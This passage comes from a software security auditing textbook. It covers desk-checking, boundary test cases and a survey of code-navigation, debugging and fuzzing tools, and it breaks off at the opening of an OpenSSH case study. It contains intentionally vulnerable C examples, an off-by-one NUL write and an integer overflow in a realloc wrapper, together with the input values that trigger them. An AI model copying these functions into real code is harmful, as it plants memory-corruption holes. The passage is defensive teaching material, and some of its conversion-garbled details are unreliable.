recommended. Desk-checking is a technique consisting of creating a table of all 

variables in a code fragment and then populating them with some initial values. They 

should be values that you think the code might not handle correctly (such as those 

gained from test cases, explained in the next section). Then you step through each 

line of the function, updating each value according to the code. To see how this 

technique works, first look at this simple code: 

int read_line(int sock, char *buf, size_t length) 

{ 

    int i, c = 0, n; 

 

    for(i = 0; ; i++){ 

        n = read(sock, (void *)&c, 1); 

 

        if(n != 1) 

            return -1; 

 

        if(c == '\n') 

            break; 

 

        if(i < length) 

            buf[i] = c; 

    } 

 

    buf[i] = '\0'; 

 

    return 0; 

} 

 

This code isn't hard to understand just by looking at it, but it's fine for demonstration 

purposes. 
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Note 

If you think the code is hard to understand, don't worry. After a little practice, you'll 

probably recognize constructs such as this one more readily and be able to 

understand the code more easily. 

 

The function is supposed to read a line from a socket. It puts bytes it reads from the 

line into the buf variable while it isn't full, and then silently discards extraneous data 

at the end of the line, thus returning at most a buffer of length bytes. Say you aren't 

too sure about evaluating whether this piece of code is secure and want to verify your 

thoughts. You can do a desk-check of the function with a test case you expect to be 

faulty. In this case, you want to see whether buf overflows when you supply a long 

line, so you use the following test data: 

buf = 4 byte buffer 

length = 4 

line being read = "ABCDEF\n" 

 

The desk-check of this function is shown in Table 4-19. 

Table 4-19. Desk-Check of Algorithm 

Statement i buf c 

for(i = 0; 0 - - 

n = read(sock, &c, 1); 0 - A 

if(i < length) buf[i] = c; 0 buf[0] = 'A' A 

i++; 1 - A 

n = read(sock, &c, 1); 1 - B 

if(i < length) buf[i] = c; 1 buf[1] = 'B' B 

i++; 2 - B 

n = read(sock, &c, 1); 2 - C 

if(i < length) buf[i] = c; 2 buf[2] = 'B' C 

i++; 3 - C 

n = read(sock, &c, 1); 3 - D 

if(i < length) buf[i] = c; 3 buf[3] = 'B' D 

i++; 4 - D 
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Table 4-19. Desk-Check of Algorithm 

Statement i buf c 

n = read(sock, &c, 1); 4 - E 

if(i < length) buf[i] = c; 4 - E 

i++; 5 - E 

n = read(sock, &c, 1); 5 - F 

if(i < length) buf[i] = c; 5 - F 

i++; 6 - F 

n = read(sock, &c, 1); 6 - \n 

if(c == '\n') break; 6 - \n 

buf[i] = '\0' 6 buf[6] = '\0' \n 

 

The desk-check shows that the function does read at most length bytes into the 

buffer supplied and then silently discard data afterward; however, a glitch is still 

apparent in the last two lines of this desk-check. Can you see it? The NUL byte to 

terminate the buffer is appended at an out-of-bounds location depending on how big 

the supplied line is because the i variable is used incorrectly as an index for the NUL 

termination. Any desk-check you do should roughly follow the format shown in the 

table, with statements being executed on one side and columns for the state of each 

relevant variable when the statement has been executed. Some statements in the 

code were omitted for brevity when they didn't affect the test case. 

As you can see, desk-checks can be a useful tool because they provide insight into 

how the algorithm operates. They can help you catch vulnerabilities that are easy to 

miss because they seem fine at first glance. However, desk-checks can be 

cumbersome, especially when your test cases are complicated and involve a lot of 

variables. Still, they are a necessary part of data validation, and you should use them 

whenever you're unsure of code you're reading. Using your own shorthand versions of 

desk-checking tables after you're familiar with them can be convenient. For example, 

you don't have to write the statements in the far-left column if you can keep track of 

them adequately. 

Test Cases 

Test cases are used for testing a program or small isolated part of code to see how 

it handles certain inputs. Test cases can be carried out in a number of different ways: 

writing software to interact with the program and supply the test data, entering 

values manually into a program using a debugger, or using desk-checking. The 

purpose of test cases is to determine whether the program handles certain inputs 
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correctly or certain combinations of inputs. Checking every possible combination of 

inputs usually isn't feasible, so you need to choose cases that are the most useful. 

Often this means boundary cases, in which inputs are unexpected or are treated 

specially by the code in question. For example, say you have a function with this 

prototype: 

int Connection::ConnectionRead(int len); 

 

You want to test how well this function copes with unexpected input. To do this, you 

need to identify ranges of values input variables can take and choose values from 

those ranges to test the function. Some test cases might include the following: 

 Calling the ConnectionRead() function with len = small negative (-1, for 

example) 

 Calling the ConnectionRead()function with len = large negative value 

(0x80000000, for example) 

 Calling the ConnectionRead()function with len = 0 

 Calling the ConnectionRead()function with len = small positive value (10) 

 Calling the ConnectionRead()function with len = large positive value 

(0x7FFFFFFF, for example) 

The test cases have been classified based on the range of values len can take: 

positive, negative, or 0. 

Note 

You have two tests for positive and negative values because you're testing values 

close to the boundary conditions that constrain integers. These constraints are 

discussed in depth in Chapter 6(? [????.]). 

 

By using carefully chosen values from each range of possible values the input can 

take (in this case, positive, negative, or 0), you get the best value from your tests 

because you're covering both expected and unexpected cases with the fewest tests 

possible. After further inspection of the code, it might be more apparent that certain 

values seem like they're going to cause major problems, so you might add those 

values to your test cases later. For example, examine the function a little further: 

class Connection { 

 

 

   private: 

       int sock; 
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       Buffer network_data; 

       ... 

}; 

 

int Connection::ConnectionRead(int len) 

{ 

    int n; 

 

    if(network_data.GrowBuffer(len) == 0) 

        return -1; 

 

    n = ::read(sock, network_data.BufferEnd(), len); 

 

    return n; 

} 

 

class Buffer { 

    private: 

        unsigned char *data; 

        size_t data_size, data_used; 

        ... 

}; 

 

#define EXTRA 1024 

 

int Buffer::GrowBuffer(size_t length) 

{ 

    size_t new_size; 

    char *new_data; 

 

    if(data_size_data_used >= length) 

        return 1; 

 

    new_size = length + data_used + EXTRA; 

 

    if(new_size < length)    // check for integer overflow 

        return 0; 

 

    new_data = (unsigned char *)myrealloc(data, new_size); 

 

    if(new_data == NULL) 

        return 0; 

 

    data_size = new_size; 

    data = new_data; 
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    return 1; 

} 

 

void *myrealloc(void *data, size_t new_size) 

{ 

    void *block; 

    new_size = (new_size + 15) & 0xFFFFFFF0; 

 

    block = realloc(data, new_size); 

 

    return block; 

} 

 

This fairly complicated code path has a subtle vulnerability. Specifically, an integer 

overflow can occur in myrealloc() when rounding up new_size (as shown in the bold 

line), but because of an integer overflow check in GrowBuffer(), only a select few 

values trigger the vulnerability. (Again, if the vulnerability isn't clear to you, don't 

worry. Integer overflows are covered in more detail in Chapter 6(? [????.]).) The 

exact value of len being passed to ConnectionRead() (or any function that calls the 

GrowBuffer() function) to trigger the integer overflow depends on what the data_used 

value is. If you assume it's 0, the previous test cases don't trigger the integer 

overflow because of the following code snippet from GrowBuffer(): 

     new_size = length + data_used + EXTRA; 

 

     if(new_size < length)   // check for integer overflow 

         return 0; 

 

The EXTRA added to new_size causes an integer overflow when using the test case of 

len = -1, and the large negative value test case doesn't overflow and realloc() 

simply fails. To trigger the bug (assuming data_used = 0), you need to add a test case 

of something like len = 0xFFFFFBFF (the maximum representable integer with 1024 

subtracted from it). The initial range of test cases you come up with need to be 

tailored to the code you're examining to make sure you catch all the artificially 

created boundary cases occurring in the way the code works as well as the logical 

boundary cases you originally devised. 

Test Cases with Multiple Inputs 

The previous example brings up an interesting point dealing with multiple inputs. 

Before you examined the code in some depth, you cared about only one input as far 

as test cases were concerned: the len variable passed to ConnectionRead(). However, 
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in the real world, often you deal with multiple inputs to functions. The problem is that 

having multiple inputs multiplies the number of test cases you need, as shown in this 

formula: 

tests = (set of cases)
(number of inputs)

 

 

The number of test cases can increase quickly. Furthermore, additional test cases 

might surface; often variables that are multiple inputs to a function are related in 

some way, a concept called "variable relationships" (discussed in Chapter 7(? 

[????.])). Essentially, a lot of variables and inputs in a module are given meaning by 

how they relate to other variables, so you might need to establish test cases to deal 

with boundary cases for a relationship, in addition to boundary cases for variables in 

isolation. The code you looked at previously is an example of such a test case; you 

must test the boundary case for the relationship between len and data_used because 

both those values must operate together to trigger the potential vulnerability. 

When building test cases for a function or code module, it's up to you to identify these 

relationships to make sure you have a complete set of test cases. The more you 

perform test cases, the more quickly you can identify the problem cases from looking 

at code, which speeds up the process. However, it's worth the time to work through 

all potential scenarios and verify whether the code handles them correctly. Spotting 

problems automatically isn't as thorough, and you might miss a case or two. In 

addition, the number of boundary conditions you have doesn't necessarily correspond 

to the number of inputs you supply to a code module because some variables take 

values indirectly from the input (such as data_used, presumably). 

Say you have a large number of test cases and you want to get rid of some, if possible. 

How do you do that while ensuring you're testing all the necessary boundary 

conditions you want to verify? There are two ways to go about cutting out extraneous 

test cases: constraint establishment and extraneous input thinning, explained in the 

following sections. 

Treat Input as Hostile 

Often you encounter code that is dangerous because the developer thinks 

that certain externally supplied variables are safe and trusts their content 

implicitly. This approach is dangerous for several reasons: 

 A code path might exist that's not accounted for, so less stringent 

input sanitation is done; therefore, the vulnerable code can be 

reached with variables in an unexpected state. 

 A new code path might be introduced in the future in which less 
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stringent input sanitation is done; therefore, the vulnerable code can 

be reached with variables in an unexpected state. 

 The input sanitation might not work as effectively as the developer 

expects because of a logic or implementation error, so the vulnerable 

code can be reached with variables in an unexpected state. 

In general, you should be wary of input data from other modules. You don't 

need to assume the same level of danger as completely external input, but 

you should still be a bit suspicious of it. After all, it's just good practice for the 

developer to perform some internal consistency checking, especially in a 

general purpose library. 

 

 

Constraint Establishment 

Sometimes you have a large number of test cases that verify code for all sorts of 

boundary conditions, but a lot of these test cases might be useless to you. Why? 

Because the code module you're testing can't be reached with variables in certain 

states, so even if the test cases aren't handled correctly, it doesn't matter because 

they can never happen. 

If you can verify that it's impossible for variables to exist in certain states, a number 

of the test cases become irrelevant, and you can discard them (noting down why you 

discarded them). This process is called constraint establishment. When you do this, 

you should ensure that sanitation checks on the input work as expected by doing 

separate test cases for the part of the code where the sanity checks occur. To see an 

example of where to discard test cases, go back to the ConnectionRead() function. 

Imagine that it's called from only a single place in the application, a function called 

ConnectionReadBuffer() that looks like this: 

int Connection::ConnectionReadBuffer(int len) 

{ 

    return ((len > 0) ? ConnectionRead(len) : 0); 

} 

 

This function is basically a wrapper to ConnectionRead(), except it ensures that len is 

a value greater than 0. That single check cuts out quite a few test cases; now you 

need to test only situations in which len is positive because ConnectionRead() can 

never be reached with len being 0 or negative. 

Extraneous Input Thinning 

Extraneous input thinning means getting rid of inputs that aren't a concern. For 

example, consider the following function prototype: 
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int read_data(int sock, unsigned char *buffer, 

              size_t length, int flags); 

 

This function is mostly a wrapper to recv(). The initial set of states for each variable 

when this function is called are shown in Table 4-20. 

Table 4-20. Input Data States 

Variable States 

sock Valid socket descriptor 

Invalid socket descriptor 

buffer NULL 

Non-NULL (size equal to length) 

Non-NULL (size not equal to length) 

length 0 

Small positive number 

Huge positive number 

flags 0 

Valid flags 

Invalid flags 

 

Now you have a set of possible states you want to test for. (You should normally be 

more specific about what values the flags variable can take, but that isn't necessary 

for this example.) You can probably eliminate a couple of these states when you 

examine the constraints for this function. For example, it's highly unlikely the 

program will call this function with an invalid socket descriptor. Beyond this constraint, 

however, certain values are outside an attacker's control both directly and indirectly. 

For example, say the flags variable can be any valid flag or combination of flags that 

the recv() function accepts (and this rule is enforced in the code elsewhere), but the 

program sets that value based on input from a configuration file that only the 

administrator can access. In this case, you don't need to test every combination of 

possible values flags can take; the default configuration from the file is probably 

sufficient. 
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When eliminating test cases, be careful that you don't eliminate too many. Just 

because you can't control the value of a variable doesn't mean you can ignore it 

because the values that variable takes might influence how the function or module 

works, and you need to see how your input is dealt with in each circumstance. To 

summarize, you can ignore only input values that meet the following conditions: 

 You can't control them directly or indirectly. 

 The value of this variable doesn't significantly affect how data you do control 

is dealt with or how the module operates. 

In addition, sometimes you see arguments with the sole purpose of being filled in by 

the function, so when the function is called, the values in these variables are 

irrelevant. 

Unconstrained Data Types 

This discussion of test cases hasn't addressed dealing with data inputs of types that 

aren't constrained to a strict subset or range of values. The examples so far have 

dealt primarily with integer types that can be in one of three states: negative value, 

positive value, or 0. What about character strings, however? String data can be an 

arbitrary length and contain arbitrary characters supplied by users. This makes it 

hard to write a strict set of test cases and ensure that you're covering all possible 

results when the application is running in a real-world environment. String data 

complicates your test case procedures. Furthermore, this type of data isn't rare; 

you'll need to make test cases for it frequently, so you must be able to deal with this 

input in a consistent and accurate fashion. To do this, you need to do be aware of 

some context surrounding the input. In other words, you must determine what the 

unconstrained data represents and how the program interprets it. A number of things 

happen to string data over the course of a program: 

 Transformations The data is converted from one representation to another. 

 Validations Checks are performed to verify whether certain data elements are 

present at certain locations, to do length checks on the data, and to perform 

other related validation procedures. 

 Parsing and extraction Data is parsed into constituent elements. For strings, 

parsing usually means locating element boundaries by searching for a 

delimiter (such as whitespace), and then copying elements as needed by the 

application. 

 System usage The data is actually used for retrieving some sort of system 

resource, such as supplied filenames being opened or passed to another 

program to send e-mail. 

To provide effective string test cases, you should choose boundary cases for each 

transformation, validation, or parsing block that takes place. The best way to do this 

is by examining each operation performed on the data and classifying it into one of 
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the three categories: transformation, validation, or parsing. Depending on the 

category, you decide what your goal is so that you can craft test cases accordingly. 

If an operation is a transformation, your goals are to see whether there's a case 

where the transformation occurs incorrectly, see whether corruption of some kind can 

occur, and see whether the order of transformations versus data validation results in 

a logical security vulnerability (that is, a validation procedure checks for the absence 

or presence of some data, but the data is subsequently transformed before it's used). 

These issues are explained in more detail in Chapter 8(? [????.]), "Strings and 

Metacharacters." 

If the operation is a validation procedure, your main goal is to determine whether this 

validation can be subverted in any cases or whether the validation is inadequate given 

the actions that follow. (This determination can include cases with no validation.) 

Again, these issues are discussed in Chapter 8(? [????.]). 

When parsing and extraction is performed, you're concerned with issues related to 

parsing data incorrectly, usually resulting in some sort of memory corruption 

(covered extensively in several later chapters). After completing these steps, often 

you find cases in which the data is used to access a system resource. This is usually 

the final step of the data's handling because it should have been validated and parsed 

by this point. So a vulnerability exists if using this string to access a resource allows 

an attacker to circumvent the application's security policy or corrupt its internal state. 

6.4.10 Code Auditor's Toolbox 

Before you can analyze large chunks of code effectively, you need some tools that 

enable you to navigate code comfortably and perform related tasks such as 

fuzz-testing. This section introduces some major software tools for navigation of both 

source and binary code, debugging, fuzz-testing, and automated code auditing. 

Coverage of each tool includes an overview of its feature set and an assessment of its 

strengths and weaknesses. Code auditors vary in what type of tools they're 

comfortable with, so spend some time testing each product, and find the ones that 

suit you best. The overview tables also indicate which tools have a free version 

available. 

Code auditors tend to be creatures of habit. Most get familiar with certain tools and 

then never try competing tools because of the effort required to change their 

workflow. However, the state of the art changes rapidly, and new tools can introduce 

new capabilities that make code review much easier. If possible, take time to explore 

different products; you might find some features in competing tools that aren't 

available in your current tools. 

Source Code Navigators 
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Source code navigators enable you to manage both small and large source-code 

projects easily and efficiently. Although most programming suites come with IDE 

software, source code navigators vary slightly by focusing on reading and following 

the code instead of building it (although many IDEs have similar functions and might 

be adequate for analyzing code). Some features of good source code navigators 

include the following: 

 Cross-referencing functionality The capability to cross-reference a function or 

variable use is one of the most important features of a source code navigator. 

A good tool should enable you to look up definitions as well as uses of an 

object so that you can see the specifics of an object quickly and easily. 

 Text searching Text searching is useful for locating code that might be 

performing a particular kind of task (based on what strings it's looking for in 

input data). Additionally, text searching comes in handy for locating objects 

when the tool is unable to find a definition or the object definition comes from 

outside the project source. For example, an RPC server might have definitions 

for a variable declared in an rpcgen.x file, and the tool can't find the definitions 

because it's analyzing only .c files. 

 Multiple language support Multiple language support is useful for code 

auditors who examine projects written in a variety of languages. Most source 

code navigators support a few major languages (such as C/C++ and Java). 

 Syntax highlighting Every programmer should be familiar with the value of 

syntax highlighting. It is simply color coding that an IDE or source navigator 

applies to different programmatic constructs. Most tools have some form of 

syntax highlighting because it is considered essential for any modern software 

development. 

 Graphing capabilities A pictorial representation of an object's use or the 

control flow in a function or function group can be very useful. With graphing 

capabilities, you can get a clear representation of call trees or control-flow 

constructs without getting mired in the code. 

 Scripting capabilities Scripting capabilities can be useful for advanced 

automated analysis or manipulation of source code trees. With a powerful 

scripting language, automating some basic (and even not so basic) aspects of 

code auditing might be possible. 

Cscope 

Cscope, summarized in Table 4-21, is a useful utility with cross-referencing features 

in an easy-to-use text interface and search-and-replace features for making text 

substitutions over multiple source files. This utility doesn't offer a satisfactory code 

navigation environment because of the limited features it supports, but it's not 

designed to be an auditing environment. However, it can be a useful complement to 

other products, particularly Ctags, as both products make up for each other's 

drawbacks. 
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Table 4-21. Cscope 

Operating system Most UNIX-based operating systems (Linux, BSD, Solaris) 

Product requirements None 

Free version available Yes 

URL http://cscope.sourceforge.net/ 

Key features Cross-referencing 

Text searching and replacing 

 

 

Ctags 

Ctags is an extension of the VIM editor designed for navigating source code. It offers 

a number of interesting features, although many features listed in Table 4-22 are 

actually part of VIM, not Ctags. It works by generating a file containing locations of 

data elements (structures, functions, variables, type definitions, preprocessor 

macros, and so on), and then referring to that file when users look up definitions. It's 

easy to use (for those familiar with VIM), and when combined with features already in 

VIM, it creates a functional code-navigating environment. 

Table 4-22. Ctags 

Operating system Most UNIX-based operating systems (Linux, BSD, Solaris) 

Product requirements VIM editor 

Free version available Yes 

URL http://ctags.sourceforge.net/ 

Key features Multiple language support 

Definition lookups 

Syntax highlighting 

Navigational shortcuts 

 

One of the main drawbacks of Ctags is that occasionally it jumps to the wrong place 

during a definition lookup. It might jump to a prototype instead of the actual function, 

for example. It can be particularly problem prone when a lot of indirection is involved 

in the code being examined. The second main drawback is that it doesn't have 

http://cscope.sourceforge.net/
http://ctags.sourceforge.net/
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cross-referencing features; however, using this tool with Cscope can work around 

that limitation. 

Source Navigator 

Source Navigator (see Table 4-23) is a GUI IDE developed primarily for use on Linux 

(and other UNIX-based OSs), but it also runs on Windows. It offers a rich feature set, 

including support for multiple languages, cross-referencing (text as well as pictorial), 

text searching, and definition lookups. It's an excellent product because the interface 

is simple and fast, and the engine works well. (It doesn't get definition lookups wrong, 

as other products sometimes do.) 

Table 4-23. Source Navigator 

Operating system UNIX and Windows 

Product requirements None 

Free version available Yes 

URL http://sourcenav.sourceforge.net/ 

Key features Multiple language support 

Cross-referencing 

Graphing capabilities 

Text searching and replacing 

Definition lookups 

 

Many auditors tend to prefer console environments for code auditing, but some of the 

features Source Navigator offers make code auditing in a GUI environment 

reasonably efficient. It does have a couple of drawbacks, however. First, it seems to 

have problems occasionally when dealing with large source trees (which can cause 

the application to crash). This problem isn't common, but it does happen. Second, it 

lacks syntax highlighting, which can make following code a little more difficult. 

Code Surfer 

Code Surfer (summarized in Table 4-24), a product by Grammatech, is specifically 

designed for code-auditing tasks. It extends the basic function of code navigators 

with additional features such as slicing. Slicing is a mechanism for syntax highlighting 

based on variables the user wants to track and what code paths are affected by that 

variable. This feature can be useful for enforcing the control-flow and data-flow 

sensitivities of your analysis. 

http://sourcenav.sourceforge.net/
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Table 4-24. Code Surfer 

Operating system UNIX and Windows 

Product requirements Cygwin if installed on Windows 

Free version available No 

URL www.grammatech.com/products/codesurfer/ 

Key features Multiple language support 

Cross-referencing 

Graphing capabilities 

Text searching and replacing 

Definition lookups 

 

 

Understand 

Understand by SciTools (summarized in Table 4-25) is designed for analyzing large 

codebases and supports a number of different languages. It's available as a GUI for 

both Windows and UNIX OSs. Understand is one of the most full-featured source code 

reading environment available today (with an especially easy-to-use and configurable 

interface). Understand also has a scripting interface for automating source-code 

analysis tasks. 

Table 4-25. Understand 

Operating system UNIX and Windows 

Product requirements None 

Free version available Time-limited trial 

URL www.scitools.com/ 

Key features Multiple language support 

Cross-referencing 

Graphing capabilities 

Text searching and replacing 

Definition lookups 

http://www.grammatech.com/products/codesurfer/
http://www.scitools.com/
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Table 4-25. Understand 

Operating system UNIX and Windows 

Scripting and plug-in capabilities 

 

 

Debuggers 

Debugging is an integral part of a code auditor's job. It might be helpful when 

tracking down what code paths are used under a given set of circumstances, tracking 

down a fault that occurred as a result of black box testing, or verifying a vulnerability 

that has been located in the code. Quite a selection of debuggers are available for 

both Windows and UNIX-based OSs, and many have support for any architecture the 

OS is available on (to varying degrees). The level of sophistication in debuggers 

varies widely, as do their feature sets, so familiarize yourself with a number of 

debuggers to see which one suits you best. The following features are some good 

things to look for when selecting a debugger: 

 Kernel debugging Most debuggers are designed for debugging user land 

processes. You might be required to debug a kernel or kernel drivers, however. 

If so, you need a debugger with the capability of stepping through code that's 

running in kernel mode. Kernel debuggers are few and far between compared 

to regular debuggers, so if you anticipate doing any kernel-related work, 

familiarizing yourself with the popular ones is well worth your time. 

 Memory searching This is simply the ability to search for strings and values 

through arbitrary memory ranges. It might seem like a basic requirement for 

debuggers, but surprisingly, a few lack this feature. 

 Scripting capabilities Defining custom commands or macros for use when 

debugging an application can be useful. Scripting capabilities can be a 

powerful feature, and they're convenient for automating repetitive tasks. 

 Debugging support Certain binary file formats (such as ELF) have the 

capability to contain extensive debugging information, including source code, 

line numbering, source filenames, and so on. Other file formats are created 

when a program is compiled specifically to store debugging information (such 

as DBG files). This information is often useful, and a good debugger should be 

able to interpret this data to make debugging more manageable. 

 Conditional breakpoints You might need the ability to provide a set of 

requirements to be met for a breakpoint to trigger. This way, you don't need 

to manually check process state every time a breakpoint is triggered to 

determine whether it's relevant to what you're examining. 

 Thread support Debugging multithreaded applications can be quite difficult. 

Although nearly all debuggers support debugging multithreaded applications, 

some are better than others. 
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 On-the-fly assembling It can be useful to write assembly code that the 

debugger interprets into bytecode, especially when you're injecting code 

manually in a process or modifying code to test some condition. 

 Remote debugging support Depending on the task at hand, being able to 

debug a machine over the network can be convenient. 

The following sections describe some popular debuggers available for different OSs. 

GNU Debugger (GDB) 

GDB, summarized in Table 4-26, is probably the most widely used debugger for 

UNIX-based systems. It's a console debugger (although GUI front ends are available) 

that offers a fairly rich feature set and is quite easy to use (if you're familiar with 

assembly code and general debugger usea requirement if you plan to be effective 

with a debugger). Most of the commands use a similar syntax, so after you familiarize 

yourself with the basics, the rest comes easily. GDB is useful when you have source 

code access to the code you're debugging, as you can compile it with debugging 

information. (This level of information is specific to ELF binaries, a common binary file 

format on contemporary UNIX variants.) You can step through assembly code, and 

GDB shows the line of source code relating to the instruction being carried out. This 

feature makes it easy to do fault tracing or see what's going wrong when attempting 

to exercise code paths to test potential vulnerabilities in the code. 

Table 4-26. GDB 

Operating system UNIX and Windows 

Product requirements None 

Free version available Yes 

URL www.gnu.org/ 

Key features Kernel debugging (in some limited circumstances) 

Scripting capabilities 

File format debugging support 

Conditional breakpoints 

Thread support (limited) 

Remote debugging support 

 

GDB also has a scripting interface, which is useful for creating customized commands 

that can speed up debugging. The scripting interface is quite limited in many ways; 

http://www.gnu.org/
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for example, it can't keep state information between command calls. It's primarily 

meant for defining macros for a series of commands instead of building fully featured 

plug-ins, which is a shame. 

GDB also lacks a couple of features. On-the-fly assembly would be useful, as would 

memory searching. (There's no command to search through memory, although it's 

fairly easy to make a script to do so.) The interface can be a bit awkward for tasks 

such as editing data in memory (compared with a debugger such as SoftICE, covered 

later in this section). Further, GDB has a limitation when a process spawns several 

child processes: tracing into children can be difficult. Having said that, other UNIX 

debuggers have similar limitations, so it's not a GDB-specific issue. GDB supports 

non-Intel architectures, but sometimes it doesn't work quite as well on others; 

specifically, debugging sparc binaries is known to cause problems. 

OllyDbg 

OllyDbg is a free user land Windows debugger with an easy-to-use GUI for analyzing 

programs at runtime (see Table 4-27). 

Table 4-27. OllyDbg 

Operating system Windows 

Product requirements None 

Free version available Yes 

URL www.ollydbg.de/ 

Key features Conditional breakpoints 

Thread support 

Remote debugging support 

Plug-in capabilities 

On-the-fly assembly 

 

OllyDbg is feature rich and simplifies some time-consuming debugging tasks. Some 

of OllyDbg's features include the following: 

 The ability to record execution paths (useful in analyzing crashes, as you can 

step backward in the program to see what went wrong, which branches were 

taken, and so forth) 

 Exception handler chain view (saves you from manually walking the stack) 

 Setting marks you can return to (such as IDA has) 

http://www.ollydbg.de/
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 On-the-fly assembly 

 Exception blocking (you can choose to pass certain exceptions on to the 

debugged process, but not others) 

In addition to basic debugging capabilities, Ollydbg has a sophisticated engine that 

enables developing plug-ins for extending the debugger's functionality. Some 

plug-ins include OllyDump (available at 

www.openrce.org/downloads/details/108/OllyDump), which allows the in-memory 

image of a process to be dumped to disk, and HeapVis (available at 

http://labs.idefense.com/labs.php?show=), a tool for visualizing the program heap's 

current state. 

SoftICE 

SoftICE from Compuware, summarized in Table 4-28, is a popular kernel-level 

debugger for Windows OSs. Because SoftICE runs in kernel mode, it can be used to 

debug user land applications and kernel drivers (or the kernel itself). SoftICE has a 

number of helpful features, including remote debugging, on-the-fly assembly, an 

efficient command language, and powerful search, replace, and edit features. 

Compuware recently discontinued SoftICE; however, it remains a popular Windows 

kernal debugger. 

Table 4-28. SoftICE 

Operating system Windows 

Product requirements None 

Free version available Trial version only 

URL www.compuware.com 

Key features Kernel debugging 

Conditional breakpoints 

Thread support 

Remote debugging support 

On-the-fly assembly 

 

 

Binary Navigation Tools 

Not all the applications you audit are available as source code. In fact, source code 

often isn't provided, so you must audit the program binaries by reading the 

application's assembly code and figuring out how it works from there. You need some 

http://www.openrce.org/downloads/details/108/OllyDump
http://labs.idefense.com/labs.php?show=8#a8
http://www.compuware.com/
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tools that aid in binary navigation so that examining executables is less 

cumbersome. Some good features for binary navigation tools include the following: 

 Annotation options Auditing assembly code can be tedious and difficult. It's 

useful for code reviewers to be able to annotate code with remarks about what 

the code does or potential errors that need to be followed up. 

 Markers As an addition to annotation, markers enable you to return to 

previous suspect code locations automatically. These markers are useful, 

especially when you're returning to an application you worked on all last night. 

 Graphing capabilities As with source code navigators, graphing capabilities 

enable you to see the structure of a function or function call tree. This feature 

is useful when you need to establish a call path to a suspect function or 

examine the logical layout of how a function operates internally. 

 Structure definition capabilities Because assembly code can be difficult to 

follow, it's useful to be able to define structures with discernible members 

discovered during the reverse-engineering process. Applying these structures 

is essential when performing data-flow sensitive analysis, especially in 

object-oriented code. 

 Scripting capabilities The ability to write scripts or plug-ins is particularly 

useful for binary analysis. They can be useful for unpacking an executable 

automatically as well as writing tools to automatically analyze certain 

constructs in the code. For instance, scripts can aid static analysis for 

automatic vulnerability detection or provide useful information, such as object 

recognition, structure definitions, or variable tracking. 

IDA Pro 

IDA Pro, summarized in Table 4-29, is the tool for binary navigation and a mandatory 

part of code reviewers' toolkit. Get this product if you don't have itthat's an order! IDA 

Pro can be used to interpret many binary file formats targeted for a range of 

processors, so it's useful for nearly any sort of binary you encounter. 

Table 4-29. IDA Pro 

Operating system Linux and Windows 

Product requirements None 

Free version available No 

URL www.datarescue.com 

Key features Multiple language support 

Cross-referencing 

http://www.datarescue.com/
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Table 4-29. IDA Pro 

Operating system Linux and Windows 

Graphing capabilities 

Text searching and replacing 

Definition lookups 

Scripting and plug-in capabilities 

 

Note 

Even if IDA doesn't recognize the file format you're trying to analyze, it's possible to 

construct a loader module for specific binary types by using the IDA plug-in interface. 

 

IDA Pro has a rich (and unparalleled) feature set, which includes the following: 

 Automatic recognition of functions and data elements in a binary 

 Propagation of type information across function calls 

 Recognition of common compiler constructs 

 Recognition of fragmented function blocks 

 The ability to navigate a binary graphically (new to version 5) 

 Cross-referencing capabilities 

 Flowchart and graphing capabilities 

 A flexible scripting language for automating analysis tasks 

 An extensible plug-in framework that allows developers to write sophisticated 

analysis modules (or binary loaders) 

IDA also integrates debugging into its disassembler product. This product can be used 

instead of a standalone debugger and has the advantage of combining static analysis 

features with live debugging for a more comprehensive reverse-engineering 

environment. The debugger in IDA also has a lot of the features that other popular 

debuggers have. 

BinNavi 

BinNavi is an exciting new product by Sabre (see Table 4-30). Developed as an IDA 

plug-in targeted at code auditors who want to understand a program's inner workings 

more clearly, BinNavi provides a graphical representation of a binary that users can 

navigate easily. Call trees or internal function workings can be expressed in a variety 

of graphical formats, from circular graphs to tree flowcharts. BinNavi enables users to 
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pinpoint interesting code paths quickly by eliminating extraneous code paths and 

saving different views of the same binary that highlight the paths being analyzed. 

Graph nodes can be colored separately to help highlight certain components in a 

function or call tree. 

Table 4-30. BinNavi 

Operating system Windows and Linux 

Product requirements IDA Pro 

Free version available No 

URL www.sabre-security.com/ 

Key features Graphing capabilities 

Annotation 

Debugging 

Scriptable interface 

 

Graphing is just one of the tools that BinNavi provides for annotation. Users can also 

maintain detailed notes on each node on a graph, and these notes can be found 

quickly by using saved views and BinNavi's built-in search capabilities. 

Of course, the features described so far are useful for static analysis, but users need 

to be able to correlate their notes with runtime instances of the application. Therefore, 

BinNavi also gives users basic debugging capabilities, so they can select nodes to 

break on for further analysis while the process is running. The latest version of 

BinNavi offers some Python scripting capabilities to perform some of the features 

mentioned in the previous section on debuggers. 

Fuzz-Testing Tools 

At times, fuzz-testing is required as part of an audit in addition to code review. 

Fuzz-testing can be useful for finding bugs missed during the code audit because of 

complex code constructs and time constraints. This testing can be invaluable in 

ensuring that you have caught the most readily detected vulnerabilities. 

A good fuzz-testing tool should be protocol aware or capable of scripting so that it can 

provide a thorough test of known problems with the protocol in question. In addition, 

some new fuzz-testing tools might attempt intelligent attack vectors, which means 

they receive results of a request and use that information to build further requests to 

target potential problem areas. 

http://www.sabre-security.com/
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SPIKE 

SPIKE, summarized in Table 4-31, is a protocol-independent fuzz-testing tool. It 

gives users a number of preformulated scripts for testing products that use known 

protocols as well as a powerful scripting language for creating scripts to test arbitrary 

protocols. 

Table 4-31. SPIKE 

Operating system UNIX and Windows 

Product requirements None 

Free version available Yes 

URL www.immunitysec.com/ 

Key features Scriptable interface 

 

Dave Aitel (author of SPIKE) has written an interesting paper on the merits of 

block-based protocol analysis (decomposing protocol data into blocks for the 

purposes of size management and information discovery), the model on which SPIKE 

is built. You can find this paper at 

www.immunitysec.com/downloads/advantages_of_block_based_analysis.html. In 

addition, a proxy component is available for SPIKE for dealing with Web application 

testing environments. 

6.4.11 Case Study: OpenSSH 

In this chapter, you have learned about the four-phase application review process 

that functions at a high level. To see how these steps could be applied in a real-world 

setting, you walk through a practical example using the OpenSSH server. The source 

code is available from www.openssh.com/, and the version is OpenSSH 4.3. 

Note 

For those unfamiliar with OpenSSH, it's the premier Secure Shell (SSH) server on the 

Internet. It provides an encrypted interactive shell service to authenticated users for 

a particular machine. More details are available on the OpenSSH Web site 

(www.openssh.com). 

 

 

Preassessment 

Referring back to the application review process, first you need to establish essential 

application information. You don't have a design specification or SDLC documentation; 

http://www.immunitysec.com/
http://www.immunitysec.com/downloads/advantages_of_block_based_analysis.html
http://www.openssh.com/
http://www.openssh.com/
